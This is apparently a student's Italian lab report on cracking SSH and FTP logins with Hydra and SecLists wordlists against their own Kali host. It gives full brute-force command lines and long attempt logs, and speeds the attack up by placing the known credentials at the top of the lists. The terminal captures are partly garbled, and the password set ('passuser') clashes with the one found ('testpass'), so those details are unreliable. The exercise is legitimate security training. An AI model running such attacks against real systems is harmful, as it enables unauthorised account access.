## PROGETTO SETTIMANALE S6L5

## L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

# L'esercizio si svilupperà in due fasi:

- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

# Opzionale:

Sarà evidente che recuperare le credenziali, con seclist, richiederà molto tempo. È necessario trovare una soluzione.

#### FASE 1:

Nella prima fase di questo esercizio, ci occuperemo di creare un nuovo utente chiamandolo test\_user ed utilizzando passuser come password.

```
し 川 ⊲ Kali Linux
                             francesco@kali: ~
 File Actions Edit View Help
zsh: corrupt history file /home/francesco/.zsh_history
(francesco® kali)-[~]
s adduser
fatal: Only root may add a user or group to the system.
 __(francesco⊗kali)-[~]
$ <u>sudo</u> adduser
[sudo] password for francesco:
fatal: Only one or two names allowed.
 (francesco⊕kali)-[~]

$ <u>sudo</u> adduser test_user
info: Adding user `test_user' ...
info: Adding user test_user ...
info: Selecting UID/GID from range 1 00 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
Full Name []: test_user
Room Number []:
Work Phone []:
Home Phone []:
Other []:

Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

Attiviamo il servizio ssh con il comando sudo service ssh start.

```
____(francesco⊗kali)-[~]

$\frac{\sudo}{\sudo} \text{ service ssh start}
```

Testiamo la connessione in SSH dell'utente appena creato sul sistema, eseguendo il comando seguente:

**ssh** <u>test\_user@192.168.64.8</u>, se le credenziali inserite sono corrette, dovremmo ricevere il prompt dei comandi dell'utente test\_user sulla nostra Kali.

```
-(francesco⊕kali)-[~]
└_$ ssh test_user@192.168.64.8
The authenticity of host '192.168.64.8 (192.168.64.8)' can't be established.
ED25519 key fingerprint is SHA256:5dTIGyh1eEzXqp1dK4qIUjzx/ZvVfgJjlE32B1m6JfQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.64.8' (ED25519) to the list of known hosts.
test_user@192.168.64.8's password:
Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
  -(test_user®kali)-[~]
```

A questo punto, possiamo configurare Hydra per una sessione di cracking.

Possiamo attaccare l'autenticazione SSH con Hydra.

Ipotizziamo di non conoscere username e password ed utilizziamo quindi delle liste per l'attacco a dizionario.

Scarichiamo una collezione di username e password, chiamata "seclists", utilizzando il comando «sudo apt install seclists».

```
(francesco® kali)-[~]

$ sudo apt install seclists

The following packages were automatically installed and are no longer required:
    ibverbs-providers | libcephfs2 | libgfxdr0 | libpython3.11-dev python3-lib2to3 | python3.11-minimal libboost-iostreams1.83.0 | libgfapi0 | libglusterfs0 | librados2 | python3.11 | samba-vfs-modules |
libboost-thread1.83.0 | libgfrpc0 | libibverbs1 | librdmacm1t64 | python3.11-dev |
Use 'sudo apt autoremove' to remove them.

Installing:
    seclists

Summary:
    Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 1975
    Download size: 526 MB

Space needed: 2082 MB / 39.8 GB available

Get:1 http://kali.mirror.garr.it/kali kali-rolling/main amd64 seclists all 2024.4-0kali1 [526 MB]

Fetched 526 MB in 1min 11s (7433 kB/s)
Selecting previously unselected package seclists.
(Reading database ... 397997 files and directories currently installed.)
Preparing to unpack .../seclists_2024.4-0kali1) ...
Setting up seclists (2024.4-0kali1) ...
Setting up seclists (2024.4-0kali1) ...
Processing triggers for kali-menu (2024.3.1) ...
Processing triggers for wordlists (2023.2.0) ...

[francesco® kali)-[~]
```

Adesso non ci resta che provare il cracking con Hydra, utilizzando le liste scaricate.

Il nostro comando sarà quindi il seguente:

"Hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-10-million-passwords-1000000.txt 192.168.64.8 -t4 -V ssh"

Clicchiamo invio e vediamo che succede:

```
francesco@kali: ~
 File Actions Edit View Help
                                                                                                         login "info" - pass "heaven" - 483 of 8295455000000 [child 0] (0/0) login "info" - pass "snowball" - 484 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.64.8
                                                                                                         togin 18f0" - pass "Snowball" - 484 of 8295455000000 [child 1] (0/0) login "info" - pass "lover" - 485 of 8295455000000 [child 2] (0/0) login "info" - pass "abcdef" - 486 of 8295455000000 [child 2] (0/0) login "info" - pass "00000" - 487 of 8295455000000 [child 2] (0/0)
 [ATTEMPT] target 192.168.64.8 -
[ATTEMPT] target 192.168.64.8 -
[ATTEMPT] target 192.168.64.8 -
                                                                                                         login "info" - pass "abcdef" - 486 of 8295455000000 [child 2] (0/0) login "info" - pass "00000" - 487 of 8295455000000 [child 0] (0/0) login "info" - pass "pakistan" - 488 of 8295455000000 [child 3] (0/0) login "info" - pass "007007" - 489 of 8295455000000 [child 1] (0/0) login "info" - pass "walter" - 490 of 8295455000000 [child 2] (0/0) login "info" - pass "playboy" - 491 of 8295455000000 [child 0] (0/0) login "info" - pass "blazer" - 492 of 8295455000000 [child 3] (0/0) login "info" - pass "blazer" - 492 of 8295455000000 [child 3] (0/0)
 [ATTEMPT] target 192.168.64.8 -
 [ATTEMPT] target 192.168.64.8 -
[ATTEMPT] target 192.168.64.8 -
                               target 192.168.64.8 -
[ATTEMPT] target 192.168.64.8 -
[ATTEMPT] target 192.168.64.8 -
                                                                                                                                                  - pass "blazer" - 492 of 8295455000000 [child 3] (0/0)
- pass "cricket" - 493 of 8295455000000 [child 1] (0/0)
- pass "sniper" - 494 of 8295455000000 [child 2] (0/0)
- pass "hooters" - 495 of 8295455000000 [child 0] (0/0)
- pass "donkey" - 496 of 8295455000000 [child 3] (0/0)
- pass "willow" - 497 of 8295455000000 [child 1] (0/0)
- pass "loveme" - 498 of 8295455000000 [child 2] (0/0)
- pass "saturn" - 499 of 8295455000000 [child 0] (0/0)
- pass "therock" - 500 of 8295455000000 [child 1] (0/0)
- pass "redwings" - 501 of 8295455000000 [child 1] (0/0)
 [ATTEMPT] target 192.168.64.8 -
                                                                                                          login "info"
 [ATTEMPT] target 192.168.64.8 -
[ATTEMPT] target 192.168.64.8 -
                                                                                                                              "info"
                                                                                                          login "info"
[ATTEMPT] target 192.168.64.8 -
[ATTEMPT] target 192.168.64.8 -
                                                                                                                             "info"
                                                                                                           login
                                                                                                         login "info"
login "info"
 [ATTEMPT] target 192.168.64.8 -
                                                                                                          login "info"
                                                                                                          login "info"
                                                                                                                              "info"
                                                                                                           login
                                                                                                                                                   - pass "bigboy" - 502 of 8295455000000 [child 0] (0/0)

- pass "pumpkin" - 503 of 8295455000000 [child 3] (0/0)

- pass "trinity" - 504 of 8295455000000 [child 1] (0/0)
                                                                                                                              "info"
 [ATTEMPT] target 192.168.64.8 -
                                                                                                           login
[ATTEMPT] target 192.168.64.8 -
                                                                                                           login
                                                                                                        login "info" - pass "trinity" - 504 of 8295455000000 [child 1] (0/0) login "info" - pass "trinity" - 504 of 8295455000000 [child 2] (0/0) login "info" - pass "tits" - 506 of 8295455000000 [child 0] (0/0) login "info" - pass "nintendo" - 507 of 8295455000000 [child 0] (0/0) login "info" - pass "digital" - 508 of 8295455000000 [child 2] (0/0) login "info" - pass "destiny" - 509 of 8295455000000 [child 1] (0/0) login "info" - pass "topgun" - 510 of 8295455000000 [child 1] (0/0) login "info" - pass "runner" - 511 of 8295455000000 [child 3] (0/0) login "info" - pass "marvin" - 512 of 8295455000000 [child 0] (0/0) login "info" - pass "guinness" - 513 of 8295455000000 [child 1] (0/0) login "info" - pass "chance" - 514 of 8295455000000 [child 3] (0/0) login "info" - pass "bubbles" - 515 of 8295455000000 [child 0] (0/0) login "info" - pass "testing" - 516 of 8295455000000 [child 2] (0/0) login "info" - pass "fire" - 517 of 8295455000000 [child 1] (0/0) login "info" - pass "fire" - 517 of 8295455000000 [child 1] (0/0) login "info" - pass "fire" - 517 of 8295455000000 [child 3] (0/0)
                                                                                                          login "info"
[ATTEMPT] target 192.168.64.8 -
                                                                                                                             "info"
"info"
                                                                                                                                                   - pass "november" - 518 of 8295455000000 [child 3] (0/0)

- pass "minecraft" - 519 of 8295455000000 [child 0] (0/0)

- pass "asdf1234" - 520 of 8295455000000 [child 2] (0/0)

- pass "lasvegas" - 521 of 8295455000000 [child 1] (0/0)
                                                        192.168.64.8 -
 [ATTEMPT] target
                                                                                                           login
                                                                                                                              "info"
 [ATTEMPT] target 192.168.64.8 -
                                                                                                           login
                                                                                                                              "info"
  ATTEMPT] target 192.168.64.8 -
                                                                                                           login
                                                                                                                                                                            "lasvegas" -
                                                                                                                              "info"
 [ATTEMPT] target 192.168.64.8
                                                                                                           login
                                                                                                                                                           pass "sergey" - 522 of 8295455000000 [child 3] (0/0) pass "broncos" - 523 of 8295455000000 [child 0] (0/0) pass "cartman" - 524 of 8295455000000 [child 1] (0/0)
                                                                                                                              "info"
 [ATTEMPT] target 192.168.64.8
                                                                                                          login
   ATTEMPT] target
                                                        192.168.64.8
                                                                                                          login
  ATTEMPT] target 192.168.64.8
```

Hydra inizia a provare tutti gli user e le password presi dalle liste scaricate, il problema è che l'attacco, così strutturato, richiederebbe troppo tempo, poiché le liste selezionate sono troppe vaste. In questo caso per velocizzare, andiamo a fare una piccola modifica all'ordine della lista inserendo i dati che ci interessano (user e password) in alto nella lista. In questo modo Hydra le troverà presto:

```
(francesco®kali)-[/usr/share/seclists/Passwords]
2020-200_most_used_passwords.txt Permutations
                                                                                                                                                                   richelieu-french-top20000.txt
2023-200_most_used_passwords.txt P1
500-worst-passwords.txt R1
                                                                                                                                                                   richelieu-french-top5000.txt
scraped-JWT-secrets.txt
                                                                                                     darkweb2017-top1000.txt
                                                   README.md
                                                                                                                                                                   seasons.txt
                                                                                                     days.txt
                                                                                                                                                                   stupid-ones-in-production.txt
twitter-banned.txt
                                                   UserPassCombo-Jav.txt
                                                                                                     dutch common wordlist.txt
     mon-Credentials
cked-Hashes
                                                                                                     dutch_passwordlist.txt
dutch_wordlist
                                                                                                                                                                   unkown-azul.txt
xato-net-10-million-passwords-10.txt
Default-Credentials
Honeypot-Captures
                                                   bt4-password.txt
cirt-default-passwords.txt
                                                                                                     german_misc.txt
months.txt
                                                                                                                                                                   xato-net-10-million-passwords-100.txt
xato-net-10-million-passwords-1000.txt
                                                                                                    mssql-passwords-nansh0u-guardicore.txt xato-net-10-million-passwords-10000.txt openwall.net-all.txt xato-net-10-million-passwords-100000.tx
                                                   citrix.txt
                                                                                                                                                                  xato-net-10-million-passwords-10000.txt
xato-net-10-million-passwords-100000.txt
xato-net-10-million-passwords-1000000.txt
xato-net-10-million-passwords-dup.txt
xato-net-10-million-passwords.txt
                                                   clarkson-university-82.txt
                                                    common_corporate_passwords.lst probable-v2-top12000.txt probable-v2-top1575.txt
Most-Popular-Letter-Passes.txt
                                                   darkweb2017-top10.txt
                                                                                                     probable-v2-top207.txt
```

Entrando nella directory Passwords, possiamo anche notare come tra i file scaricati ci siano anche liste molto più piccole di quelle utilizzate in precedenza; perciò, per velocizzare ancora di più il processo utilizzeremo la lista 100.txt, in modo che il confronto tra user e password sia limitato a 100 tentativi (ovviamente prima bisogna assicurarsi che all'interno ci sia la password che ci interessa).

Dopo aver completato le modifiche, richiamiamo il comando di hydra sostituendo il nome del vecchio file .txt con quello nuovo utilizzato e vediamo che in pochi tentativi riesce a trovare user e password.

```
[ATTEMPT] target 192.168.64.8 - login "test_user" - pass "trustno1" - 37 of 100 [child 2] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "jordan" - 38 of 100 [child 1] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "jennifer" - 39 of 100 [child 0] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "zxcvbnm" - 40 of 100 [child 3] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "asdfgh" - 41 of 100 [child 2] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "hunter" - 42 of 100 [child 1] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "testpass" - 43 of 100 [child 0] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "buster" - 44 of 100 [child 3] (0/0) [22][ssh] host: 192.168.64.8 login: test_user password: testpass
```

### FASE 2:

Per la seconda parte dell'esercizio, scegliamo il servizio FTP, e poi proviamo a craccare l'autenticazione con Hydra.

Installiamo quindi il servizio con il seguente comando: "sudo apt install vsftpd", poi avviamo il servizio con: "sudo service vsftpd start"

Adesso ovviamente avremo lo stesso problema di tempo, se provassimo a fare le stesse operazioni di prima con hydra cambiando il target, ci metterebbe troppo tempo, poiché nelle liste ci sono milioni di username e milioni di password, per ogni username hydra dovrebbe confrontare tutte le password, impiegherebbe tanti giorni per farlo.

Per risolvere questo problema di tempistiche e raggiungere l'obiettivo dell'esercizio, andiamo ancora una volta a modificare le liste, username e password.

Una volta entrati nel file cerchiamo il nome utente e la password che ci interessano, e li posizioniamo nella parte alta della lista, in questo modo hydra sarà in grado di trovare le credenziali in poco tempo.



Una volta effettuata questa modifica, torniamo sul terminale e diamo il seguente comando:

"hydra -L /usr/share/seclists/Usernames/xato-net-10-million.txt - P /usr/share/seclists/Passwords/xató-net-10-million-passwords-100.txt -t4 -V ftp://192.168.64.8"

```
| Shydra - | Vusr/share/soclists/Usernames/xato-net-10-million-usernames.txt - | Vusr/share/soclists/Passwords/xato-net-10-million-passwords - 100 txt - t4 - V ftp://192.168.64.8 |
Hydra v9.5 (c) 2023 by van Hauser/THC 6 David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-71 13:08:59 |
[WARRING] Restorefile (von have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.re estore |
[DATA] max 4 tasks per 1 server, overall 4 tasks, 829545600 login tries (1:82954566/p:100), -207386400 tries per task |
[DATA] max 4 tasks per 1 server, overall 4 tasks, 829545600 login tries (1:82954560/p:100), -207386400 tries per task |
[DATA] max 4 tasks per 1 server, overall 4 tasks, 829545600 login tries (1:82954560/p:100), -207386400 tries per task |
[DATA] max 4 tasks per 1 server, overall 4 tasks, 829545600 login tries (1:82954560/p:100), -207386400 tries per task |
[DATA] max 4 tasks per 1 server, overall 4 tasks, 829545600 login tries (1:82954560/p:100), -207386400 tries per task |
[DATA] max 4 tasks per 1 server, overall 4 tasks, 829545600 login tries (1:82954560/p:100), -207386400 tries per task |
[DATA] max 4 tasks per 1 server, overall 4 tasks, 829545600 login tries (1:82954560/p:100), -207386400 login tries (1:82954560/p:
```

```
[ATTEMPT] target 192.168.64.8 - login "test_user" - pass "7777777" - 130 of 829545600 [child 2] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "fuckyou" - 131 of 829545600 [child 1] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "121212" - 132 of 829545600 [child 3] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "000000" - 133 of 829545600 [child 0] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "000000" - 133 of 829545600 [child 1] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "123qwe" - 135 of 829545600 [child 2] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "killer" - 136 of 829545600 [child 1] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "trustno1" - 137 of 829545600 [child 3] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "jordan" - 138 of 829545600 [child 2] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "jordan" - 138 of 829545600 [child 2] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "zxcvbmm" - 140 of 829545600 [child 3] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "asdfgh" - 141 of 829545600 [child 3] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "testpass" - 143 of 829545600 [child 2] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "testpass" - 143 of 829545600 [child 3] (0/0) [ATTEMPT] target 192.168.64.8 - login "test_user" - pass "testpass" - 143 of 829545600 [child 3] (0/0) [ATTEMPT] target 192.168.64.8 - login "admin" - pass "12345678" - 201 of 829545600 [child 3] (0/0) [ATTEMPT] target 192.168.64.8 - login "admin" - pass "12345678" - 201 of 829545600 [child 3] (0/0) [ATTEMPT] target 192.168.64.8 - login "admin" - pass "12345678" - 201 of 829545600 [child 3] (0/0) [ATTEMPT] target 192.168.64.8 - login "admin" - pass "123456789" - 205 of 829545600 [child 3] (0/0) [ATTEMPT] target 192.168.64.8 - login "admin" - pass "123456789" - 205 of 829545600 [child 3] (0/0) "ATTEMPT] target 192.16
```

Come possiamo vedere, dopo centinaia di tentativi, hydra ha trovato il nostro user e password (porta 21, ftp).